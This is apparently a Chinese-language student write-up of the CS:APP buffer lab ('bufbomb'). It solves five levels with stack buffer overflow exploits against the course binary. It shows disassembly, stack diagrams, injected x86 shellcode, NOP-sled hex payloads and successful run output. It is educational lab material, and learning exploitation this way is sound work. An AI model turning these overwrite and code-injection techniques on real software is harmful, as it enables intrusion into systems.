本文最后更新于:2024年2月1日 下午
实验环境
根据实验手册操作
解压
1 tar xvf buflab-handout.tar
得到三个文件
bufbomb
二进制炸弹
-h选项打印帮助信息
-u userid 运行,userid会改变一些代码地址
makecookie
hex2raw
set disassembly-flavor att 转换为att格式的汇编
程序的基本分析 程序的运行方法:
Usage: ./bufbomb -u <userid>
[-nsh] -u <userid>
User ID -n Nitro mode -s Submit your solution to the grading server -h Print help information
看一下保护
1 2 3 4 5 6 7 8 9 pwndbg> checksec [*] '/home/kali/Desktop/bufbomb' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 ) FORTIFY: Enabled
“No PIE (0x8048000)”,这表示程序是以固定的基址加载到内存中的。地址0x8048000是程序的加载基址,也就是程序在内存中的起始地址。这意味着程序在每次运行时都会以相同的地址加载到内存中,而不是以随机的基址进行地址重定位。
程序行为:
BUFBOMB程序通过以下函数从标准输入中读取字符串1 2 3 4 5 6 7 8 9 1 2 #define NORMAL_BUFFER_SIZE 32 3 4 int getbuf () 5 {6 char buf[NORMAL_BUFFER_SIZE];7 Gets(buf);8 return 1 ;9 }
此处存在缓冲区溢出
If the string is no more than 31 characters long, it is clear that getbuf will return 1, as shown by the following execution example:
1 2 3 unix> ./bufbomb -u bovik Type string : I love 15 -213. Dud: getbuf returned 0x1
An error occurs if we type a longer string:
1 2 3 unix> ./bufbomb -u bovik Type string : It is easier to love this class when you are a TA .Ouch !: You caused a segmentation fault!
由于我们输入的字符串可能有不可见字符,TA贴心的提供了HEX2RAW帮你生成这类字符串。HEX2RAW程序的输入是很多个由两个16进制数字组成的字节
“012345” could be entered in hex format as “30 31 32 33 34 35.” (Recall that the ASCII code for decimal digit x is 0x3x.)
假设我们输入了:bf 66 7b 32 78,那么与之对应的:
Raw Hex (zero bytes in bold):
BF667B3278
String Literal:
“\xBF\x66\x7B\x32\x78”
Array Literal:
{ 0xBF, 0x66, 0x7B, 0x32, 0x78 }
Disassembly:
0: bf 66 7b 32 78 mov edi,0x78327b66
我们需要将此写在exploit.txt中,然后使用如下命令与bufbomb交互
1 2 3 4 5 6 7 8 9 10 11 1. You can set up a series of pipes to pass the string through HEX2RAW. unix> cat exploit.txt | ./hex2raw | ./bufbomb -u bovik2. You can store the raw string in a file and use I/O redirection to supply it to BUFBOMB: unix> ./hex2raw < exploit.txt > exploit-raw.txt unix> ./bufbomb -u bovik < exploit-raw.txt This approach can also be used when running BUFBOMB from within GDB: unix> gdb bufbomb (gdb) run -u bovik < exploit-raw.txt
level 0 Candle(10 pts) test函数会调用getbuf函数,getbuf函数执行完之后会返回到test中继续执行。getbuf函数具有缓冲区溢出漏洞,我们需要劫持函数执行流,使得从getbuf函数返回到我们想要的smoke函数处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #define NORMAL_BUFFER_SIZE 32 int getbuf () { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1 ; }void test () { int val; volatile int local = uniqueval(); val = getbuf(); if (local != uniqueval()) { printf ("Sabotaged!: the stack has been corrupted\n" ); } else if (val == cookie) { printf ("Boom!: getbuf returned 0x%x\n" , val); validate(3 ); } else { printf ("Dud: getbuf returned 0x%x\n" , val); } }void smoke () { printf ("Smoke!: You called smoke()\n" ); validate(0 ); exit (0 ); }
smoke函数的地址为08048c18,因此需要将返回地址覆盖写为08048c18
1 2 3 4 5 6 7 8 9 10 11 12 disas smoke08048c18 <smoke>: 8048c18 : 55 push %ebp 8048c19 : 89 e5 mov %esp,%ebp 8048c1b : 83 ec 18 sub $0 x18 ,%esp 8048c1e : c7 04 24 d3 a4 04 08 movl $0 x804 a4 d3 ,(%esp) 8048c25 : e8 96 fc ff ff call 80488 c0 <puts@plt> 8048c2a : c7 04 24 00 00 00 00 movl $0 x0 ,(%esp) 8048c31 : e8 45 07 00 00 call 804937 b <validate> 8048c36 : c7 04 24 00 00 00 00 movl $0 x0 ,(%esp) 8048c3d : e8 be fc ff ff call 8048900 <exit@plt>
getbuf函数的栈帧分配了0x38字节,buf的首地址在0x28偏移处,因此需要填充buf+old ebp大小的空间,然后将返回地址覆盖
1 2 3 4 5 6 7 8 9 10 11 080491f4 <getbuf>: 80491f4 : 55 push %ebp 80491f5 : 89 e5 mov %esp,%ebp 80491f7 : 83 ec 38 sub $0 x38 ,%esp 80491fa : 8 d 45 d8 lea -0 x28 (%ebp),%eax 80491fd : 89 04 24 mov %eax,(%esp) 8049200 : e8 f5 fa ff ff call 8048 cfa <Gets> 8049205 : b8 01 00 00 00 mov $0 x1 ,%eax 804920a : c9 leave 804920b : c3 ret
栈帧结构图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 high ┌───────────┐ │ │ │ cookie │ ├───────────┤ │ │ │ │ ├───────────┤ │ │ │return addr│ │ │ ├───────────┤ │ │ ebp ─────► │ old ebp │ │ │ ├───────────┤ │ │ │ │ │ buf │ │ │ │ │ │ │ │ │ │ │ ├───────────┤ │ │ │ ...buf[0] │ └───────────┘ low
exploit.txt
1 2 3 4 5 6 7 8 9 10 11 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 8 b 04 08 /*小端序*/
输出
1 2 3 4 5 6 7 cat exploit.txt | ./hex2raw | ./bufbomb -u nmsl Userid: nmsl Cookie: 0x6185560e Type string:Smoke!: You called smoke() VALID NICE JOB!
level 1 Sparkler(10 pts) 执行fizz函数,且该函数有一个参数,也即是在level 0的基础上加了一个函数参数
我的cookie:0x6185560e
反汇编得到fizz的地址:08048c42
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 disas fizz08048c42 <fizz>: 8048c42 : 55 push %ebp 8048c43 : 89 e5 mov %esp,%ebp 8048c45 : 83 ec 18 sub $0 x18 ,%esp 8048c48 : 8 b 45 08 mov 0 x8 (%ebp),%eax 8048c4b : 3 b 05 08 d1 04 08 cmp 0 x804 d108 ,%eax 8048c51 : 75 26 jne 8048 c79 <fizz+0 x37 > 8048c53 : 89 44 24 08 mov %eax,0 x8 (%esp) 8048c57 : c7 44 24 04 ee a4 04 movl $0 x804 a4 ee,0 x4 (%esp) 8048c5e : 08 8048c5f : c7 04 24 01 00 00 00 movl $0 x1 ,(%esp) 8048c66 : e8 55 fd ff ff call 80489 c0 <__printf_chk@plt> 8048c6b : c7 04 24 01 00 00 00 movl $0 x1 ,(%esp) 8048c72 : e8 04 07 00 00 call 804937 b <validate> 8048c77 : eb 18 jmp 8048 c91 <fizz+0 x4 f> 8048c79 : 89 44 24 08 mov %eax,0 x8 (%esp) 8048c7d : c7 44 24 04 40 a3 04 movl $0 x804 a340 ,0 x4 (%esp) 8048c84 : 08 8048c85 : c7 04 24 01 00 00 00 movl $0 x1 ,(%esp) 8048c8c : e8 2 f fd ff ff call 80489 c0 <__printf_chk@plt> 8048c91 : c7 04 24 00 00 00 00 movl $0 x0 ,(%esp) 8048c98 : e8 63 fc ff ff call 8048900 <exit@plt>
为什么return addr和参数之间需要填充四个字节?这涉及到栈回收时候的操作:
mov %ebp,%esp 。将esp指向ebp所指,相当于回收栈分配的空间
pop ebp。恢复前栈指针,同时esp=esp+4,也即是指向返回地址。上面mov和pop语句可以用一个leave代替
ret指令相当于pop eip,因此esp=esp+4,也即是指向返回地址+4处。因此第一个参数是在return addr+8的位置
要注意到push和pop指令都隐含着esp的改变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 -------------------------------------------------------------- `mov %ebp,%esp` high ┌───────────┐ │ │ │ cookie │ ├───────────┤ │ │ │ │ ├───────────┤ │ │ │return addr│ │ │ ├───────────┤ esp ebp ───► --------------------------------------------------------------- `pop ebp` ebp ───► ┌───────────┐ │ │ │ cookie │ ├───────────┤ │ │ │ │ ├───────────┤ │ │ esp ───► │return addr│ │ │ ├───────────┤ --------------------------------------------------------------- `ret` 也即是 `pop eip` ebp ───► ┌───────────┐ │ │ │ cookie │ ├───────────┤ │ │ esp ───► │ │ ├───────────┤ │ │ eip ───► │return addr│ │ │ ├───────────┤ ``` exploit.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 /* 返回地址,小端序 / 00 00 00 00 / 见前面分析 / 0e 56 85 61 / cookie,也即是fizz函数的参数 */
1 2 3 4 5 6 7 8 9 输出 ```shell Userid: nmsl Cookie: 0x6185560e Type string :Fizz!: You called fizz (0x6185560e ) VALID NICE JOB!
level 2 Firecracker(15 pts) 这一次我们需要调用函数bang,由于bang中会验证全局变量global_value是否等于cookie,因此需要在堆栈中注入代码
1 2 3 4 5 6 7 8 9 10 11 12 int global_value = 0 ;void bang (int val) { if (global_value == cookie) { printf ("Bang!: You set global_value to 0x%x\n" , global_value); validate(2 ); } else printf ("Misfire: global_value = 0x%x\n" , global_value); exit (0 ); }
将返回地址修改为buf[0]的地址80491CC,getbuf函数将会跳到buf[0],然后执行此处的代码
注入代码:
修改global_value的值为cookie
将bang函数的地址压入栈,后跟一个ret指令
反汇编得到bang的地址为0x08048c9d
global_value的地址为0x804d100
Userid: nmsl Cookie: 0x6185560e
需要注入的代码:
1 2 3 4 movl $0 x6185560 e,%eaxmovl %eax,0 x804 d100 //将正确的cookie赋给global_valuepush $0 x08048 c9 d //bang的地址压栈ret //等同于 pop eip,跳转到bang并执行
汇编 gcc -m32 -c 1.s
再使用objdump反汇编得到二进制代码
1 2 3 4 5 6 7 Disassembly of section .text:00000000 <.text>: 0 : b8 0 e 56 85 61 mov $0 x6185560 e,%eax 5 : a3 00 d1 04 08 mov %eax,0 x804 d100 a : ff 35 9 d 8 c 04 08 pushl 0 x8048 c9 d 10 : c3 ret
exploit.txt
1 2 3 4 5 6 7 8 9 10 11 12 b8 0 e 56 85 61 a3 00 d1 04 08 68 9 d 8 c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 38 68 55 //要注意这个缓冲区的首地址,buf[0 ]在堆栈段
验证:
1 2 3 4 5 6 7 cat exploit.txt | ./hex2 raw | ./bufbomb -u nmslUserid : nmslCookie : 0 x6185560 eType string:Bang!: You set global_value to 0 x6185560 eVALID NICE JOB!
Level 3: Dynamite (20 pts) 之前的代码注入会破坏堆栈的栈平衡(比如覆盖了ebp的值),使得程序异常退出,level 3需要将在不改变程序执行流的情况下,改写getbuf函数的返回值,并返回到test函数中继续执行
观察C语言代码,test函数call getbuf函数的下一条语句是,if (local != uniqueval()) {
,那么这就是从getbuf函数返回后要执行的代码的地址。为0x8048dbe
getbuf原先的返回值是1,现在需要改为cookie的值,按照约定,返回值被保存在eax寄存器(也可以从test函数的反汇编结果观察验证)
ebp的值不能被改变,因此需要动态调试得到ebp的原始值。为0x55683880
原先的return addr需要改为Gets函数所读入的字符串的地址1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ┌───────────┐ │ │ │return addr│ ───────────────────┐ │ │ │ ├───────────┤ │ │ │ │ cant be modifie │ old ebp │ │ │ │ │ ├───────────┤ │ │ │ │ │ .... │ │ ├───────────┤ │ │ │ │ │ ret │ │ ├───────────┤ │ │ push │ │ │ retadd │ │ ├───────────┤ │ │ │ ◄──────────────────┘ buf[0 ] addr │ set eax │ └───────────┘ int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1 ; }void test () { int val; volatile int local = uniqueval(); val = getbuf(); if (local != uniqueval()) { printf ("Sabotaged!: the stack has been corrupted\n" ); } else if (val == cookie) { printf ("Boom!: getbuf returned 0x%x\n" , val); validate(3 ); } else { printf ("Dud: getbuf returned 0x%x\n" , val); } }
注入代码1 2 3 movl $0 x6185560 e,%eaxpush $0 x8048 dberet
对应的二进制字节1 2 3 4 5 6 7 Disassembly of section .text:00000000 <.text>: 0 : b8 0 e 56 85 61 mov $0 x6185560 e,%eax 5 : 68 be 8 d 04 08 push $0 x8048 dbe a : c3 ret
exploit.txt
1 2 3 4 5 6 7 8 9 10 11 12 b8 0 e 56 85 61 68 be 8 d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 38 68 55 28 38 68 55
测试
1 2 3 4 5 6 7 cat exploit.txt | ./hex2 raw | ./bufbomb -u nmslUserid : nmslCookie : 0 x6185560 eType string:Boom!: getbuf returned 0 x6185560 eVALID NICE JOB!
Level 4: Nitroglycerin (10 pts) 要求:
使用-n选项运行,这会使程序调用testn、getbufn函数,而非之前的test、getbuf函数
getbufn函数会被调用5次
每一次输入的字符串都相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 08048e26 <testn>: 8048e26 : 55 push %ebp 8048e27 : 89 e5 mov %esp,%ebp 8048e29 : 53 push %ebx 8048e2a : 83 ec 24 sub $0 x24 ,%esp 8048e2d : e8 5 e ff ff ff call 8048 d90 <uniqueval> 8048e32 : 89 45 f4 mov %eax,-0 xc(%ebp) 8048e35 : e8 d2 03 00 00 call 804920 c <getbufn> 8048e3a : 89 c3 mov %eax,%ebx 8048e3c : e8 4 f ff ff ff call 8048 d90 <uniqueval> 8048e41 : 8 b 55 f4 mov -0 xc(%ebp),%edx 8048e44 : 39 d0 cmp %edx,%eax 8048e46 : 74 0 e je 8048 e56 <testn+0 x30 > 8048e48 : c7 04 24 88 a3 04 08 movl $0 x804 a388 ,(%esp) 8048e4f : e8 6 c fa ff ff call 80488 c0 <puts@plt> 8048e54 : eb 46 jmp 8048 e9 c <testn+0 x76 > 8048e56 : 3 b 1 d 08 d1 04 08 cmp 0 x804 d108 ,%ebx 8048e5c : 75 26 jne 8048 e84 <testn+0 x5 e> 8048e5e : 89 5 c 24 08 mov %ebx,0 x8 (%esp) 8048e62 : c7 44 24 04 b4 a3 04 movl $0 x804 a3 b4 ,0 x4 (%esp) 8048e69 : 08 8048e6a : c7 04 24 01 00 00 00 movl $0 x1 ,(%esp) 8048e71 : e8 4 a fb ff ff call 80489 c0 <__printf_chk@plt> 8048e76 : c7 04 24 04 00 00 00 movl $0 x4 ,(%esp) 8048e7d : e8 f9 04 00 00 call 804937 b <validate> 8048e82 : eb 18 jmp 8048 e9 c <testn+0 x76 > 8048e84 : 89 5 c 24 08 mov %ebx,0 x8 (%esp) 8048e88 : c7 44 24 04 62 a5 04 movl $0 x804 a562 ,0 x4 (%esp) 8048e8f : 08 8048e90 : c7 04 24 01 00 00 00 movl $0 x1 ,(%esp) 8048e97 : e8 24 fb ff ff call 80489 c0 <__printf_chk@plt> 8048e9c : 83 c4 24 add $0 x24 ,%esp 8048e9f : 5 b pop %ebx 8048ea0 : 5 d pop %ebp 8048ea1 : c3 ret 0804920c <getbufn>: 804920c : 55 push %ebp 804920d : 89 e5 mov %esp,%ebp 804920f : 81 ec 18 02 00 00 sub $0 x218 ,%esp 8049215 : 8 d 85 f8 fd ff ff lea -0 x208 (%ebp),%eax 804921b : 89 04 24 mov %eax,(%esp) 804921e : e8 d7 fa ff ff call 8048 cfa <Gets> 8049223 : b8 01 00 00 00 mov $0 x1 ,%eax 8049228 : c9 leave 8049229 : c3 ret 804922a : 90 nop 804922b : 90 nop
断点调试:
1 2 3 4 5 b testnb getbufnrun -n -u nmsl < exploit.txt
在五次调用getbuf的过程中,ebp的值统计如下:
testn ebp:0x55683880、0x556838e0、0x55683800、0x55683880、0x55683840
getbuf ebp:0x55683850、0x556838b0、0x556837d0、0x55683850、0x55683810
getbufn开辟的缓冲区大小是520,也即是说,buf[0]的地址是ebp-520,因此buf[0]的地址有这些可能:55683648、556836A8、556835C8、55683648、55683608,为了保证注入代码都可以执行,选择地址最大的556836A8作为覆盖的返回地址
注入代码:
将eax赋值为$0x6185560e
恢复ebp,也即是将esp+0x28赋给ebp
push返回地址,ret
覆盖返回地址
exploit.txt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 515 + 15 + 4 + 4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 // ...... 一共是515个0x90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 0e 56 85 61 //注入的二进制代码 8d 6c 24 28 68 3a 8e 04 08 c3 90 90 90 90 //ebp A8 36 68 55 //返回地址,跳转到buf[0]
测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat exploit.txt | ./hex2 raw -n | ./bufbomb -n -u nmslUserid : nmslCookie : 0 x6185560 eType string:KABOOM!: getbufn returned 0 x6185560 eKeep goingType string:KABOOM!: getbufn returned 0 x6185560 eKeep goingType string:KABOOM!: getbufn returned 0 x6185560 eKeep goingType string:KABOOM!: getbufn returned 0 x6185560 eKeep goingType string:KABOOM!: getbufn returned 0 x6185560 eVALID NICE JOB!